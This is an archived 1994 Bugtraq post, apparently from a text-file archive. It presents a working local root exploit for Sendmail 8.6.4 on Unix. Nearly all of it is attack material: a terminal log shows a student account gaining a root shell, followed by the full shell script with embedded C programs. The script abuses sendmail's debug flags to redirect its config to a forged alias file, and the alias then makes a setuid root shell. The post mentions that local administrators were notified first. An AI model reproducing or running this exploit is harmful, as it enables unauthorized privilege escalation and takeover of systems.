home *** CD-ROM | disk | FTP | other *** search
- **************************************************************************
- HACK: Sendmail 8.6.4: Program and script to obtain a root shell
- System: Unix
- Source: james abendchan (jwa@naucse.cse.nau.edu) from Bugtraq
- **************************************************************************
-
- What follows is a sample run exercising the latest sendmail hole and the
- script used to exploit this hole. This is a re-send; I neglected
- to escape the "." in the sendmail script, leaving the program
- slightly truncated. To fix this, I have escaped the . so prior
- to executing this you must remove the \. (does that make any sense? :-)
- There was also a small problem with nested quotes pointed out by Peter
- Wemm which I have fixed.
-
- This is the "small version" of the script; it assumes you have a sane
- sendmail.cf. In this manner, it is not a particularly robust "breakin
- script" but I believe it does illustrate how to exploit the bug.
-
- This program uses "calc.c," the program mentioned by Timothy Newsham in
- an earlier message. The program has been modified slightly so that it
- gives better results (it would occasionally fail to locate the offset of
- a config given a buggy sendmail. The fix is to force a sync() after
- it generates a coredump.) The remainder of the program was written
- by myself and a fellow student, Steven Dake.
-
- We have held off on releasing this script until we were able to notify
- the people responsible for system security at NAU. Locals subscribing
- to this digest beware; sendmail on our machines has been patched! :-)
-
- Script started on Thu Mar 24 00:54:54 1994
- [pine] [1] date
- Thu Mar 24 00:54:57 MST 1994
- [pine] [2] whoami
- jwa
- [pine] [3] id
- uid=4473(jwa) gid=400(student)
- [pine] [4] ls -l sendbug.sh
- -rwx------ 1 jwa student 4893 Mar 24 00:46 sendbug.sh*
- [pine] [5] sendbug.sh
- Creating setid0 ...
- Creating calc...
- Scanning core image for /nau/local/lib/mail/sendmail.cf...
- Creating alias.sh ...
- Creating fake alias file...
- Faking alias pointer in new config file...
- Creating the sendmail script...
- Executing /usr/lib/sendmail -
- d4294935548.47,4294935549.116,4294935550.109,4294935551.112,4294935552.47,4294935553.115,429
- 4935554.109,4294935555.46,4294935556.9
- Version 8.6.4
- 220-pine.cse.nau.edu Sendmail 8.6.4/WHOOP-v1.0 ready at Thu, 24 Mar 1994 00:55:21 -0700
- 220 ESMTP spoken here
- 250 pine.cse.nau.edu Hello jwa@localhost, pleased to meet you
- 250 <nobody>... Sender ok
- 250 <yash>... Recipient ok
- 354 Enter mail, end with "." on a line by itself
- 250 AAA01803 Message accepted for delivery
- 503 Need MAIL before RCPT
- 503 Need MAIL command
- 500 Command unrecognized
- 500 Command unrecognized
- 221 pine.cse.nau.edu closing connection
- setid0 is a suid shell. executing...
- executing /bin/csh...
- pine# whoami
- root
- pine# id
- uid=0(root) gid=0(root)
- pine# exit
- pine# end of script.
-
- .. and here's the program.
-
- #!/bin/sh
- # exploit new sendmail bug to give us a root shell
- # 24 mar 94 jwa/scd @nau.edu
- # "short version"
- # tested on sunos 5.2/sendmail 8.6.4
-
- # location of sendmail
- SENDMAIL=/usr/lib/sendmail
-
- # location of original sendmail.cf file
- CONFIG=/nau/local/lib/mail/sendmail.cf
- #CONFIG=`strings $SENDMAIL | grep sendmail.cf`
-
- # program to execute as root
- SHELL=/bin/csh
-
- TEMPDIR=/tmp/sendbug-tmp.$$
- mkdir $TEMPDIR
- chmod 700 $TEMPDIR
- cd $TEMPDIR
-
- cp $SENDMAIL sm
- chmod 700 sm
-
- echo "Creating setid0 ..."
- cat > setid.c << _EOF_
-
- /* set uid to zero, thus escaping the annoying csh and solaris sh
- * problem..
- *
- * if (getuid() != geteuid()) {
- * printf("permission denied, you root-hacker you.\n");
- * exit(1);
- * }
- *
- * .. must be run euid 0, obviously. with no args it runs /bin/sh,
- * otherwise it runs the 1st arg.
- */
-
- #include <stdio.h>
-
- main(argc, argv)
- int argc;
- char *argv[];
-
- int uid;
-
- setuid(0);
- setgid(0);
- seteuid(0); /* probabally redundant. */
- setegid(0);
-
- uid = getuid();
-
- if (uid != 0) {
- printf("setuid(0); failed! aborting..\n");
- exit(1);
- }
-
- if (argc !=2) {
- printf("executing /bin/sh...\n");
- system("/bin/sh");
- }
- else
- {
- printf("executing %s...\n", argv[1]);
- system(argv[1]);
- }
-
- _EOF_
-
- cc -o setid0 setid.c
-
- echo "Creating calc..."
-
- cat > calc.c << _EOF_
- /*
- * Determines offset in sendmail of
- * sendmail.cf file location.
- * author: timothy newsham
- */
- #include <fcntl.h>
-
- gencore()
-
- int pid;
- int fd[2];
-
- if(pipe(fd) < 0) {
- perror("pipe");
- exit(1);
- return(0);
- }
- pid = fork();
- if(!pid) {
- int f = open("./out", O_RDWR|O_CREAT, 0666);
- dup2(f, 1); dup2(fd[0], 0);
- close(f); close(fd[1]); close(fd[0]);
- execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);
- perror("exec");
- exit(0);
- } else {
- sleep(2);
- kill(pid, 11);
- }
- close(fd[0]);
- close(fd[1]);
-
-
- main(argc,argv)
- char **argv;
- int argc;
-
- unsigned int ConfFile,tTdvect,off;
-
- gencore();
- sync(); /* grr. */
- tTdvect = find("ZZZZZZZZ", "core");
- ConfFile = find(argv[1], "core");
- if(!tTdvect || !ConfFile) {
- return(1);
- }
- off = ConfFile - tTdvect;
-
- printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",
- off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \
- off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10);
-
-
- int find(pattern, file)
- char *pattern,*file;
-
- int fd;
- int i, addr;
- char c;
-
- fd = open(file, 0);
-
- i = 0;
- addr = 0;
- while(read(fd, &c, 1) == 1) {
- if(pattern[i] == c)
- i++;
- else
- i=0;
- if(pattern[i] == '\0') {
- addr -= strlen(pattern);
- return(addr);
- }
- addr++;
- }
- return(0);
-
- _EOF_
- cc calc.c -o calc
-
- echo "Scanning core image for $CONFIG..."
-
- DEBUGFLAGS=`calc $CONFIG`
-
- echo "Creating alias.sh ..."
- echo "#!/bin/sh
- # this program will be executed when mail is sent to the fake alias.
- # since solaris sh and csh and tcsh refuse to run when euid != realuid,
- # we instead run the program we compiled above.
-
- /bin/chmod 6777 $TEMPDIR/setid0
- /bin/chown root $TEMPDIR/setid0
- /bin/sync
-
- " > alias.sh
-
- chmod 755 alias.sh
-
- echo "Creating fake alias file..."
- echo "yash: |$TEMPDIR/alias.sh" > aliases
-
- echo "Faking alias pointer in new config file..."
- egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
- echo "
- # hacks follow
-
- OA/$TEMPDIR/aliases # our fake alias file
- Ou0 # user ID to run as
- Og0 # group ID to run as
- DZWHOOP-v1.0" >> /tmp/sm.cf
-
- echo "Creating the sendmail script..."
-
- cat > sendmail.script << _EOF_
- helo
- mail from: <nobody>
- rcpt to: <yash>
- data
- yet another sendmail hole? suid whoop?
- \. # oops.. delete \ prior to execution
- quit
- _EOF_
-
- echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."
-
- $SENDMAIL $DEBUGFLAGS -bs < sendmail.script
-
- # give it time to execute.
- sleep 4
-
- # cleanup in 5 seconds
- (sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &
-
- if [ -u setid0 ]
- then
- echo "setid0 is a suid shell. executing..."
- cd /
- $TEMPDIR/setid0 /bin/csh
- echo "end of script."
- exit 0
- else
- echo "setid0 is not suid; script failed."
- echo "apparently, you don't have the bug. celebrate :-)"
- exit 1
- fi
-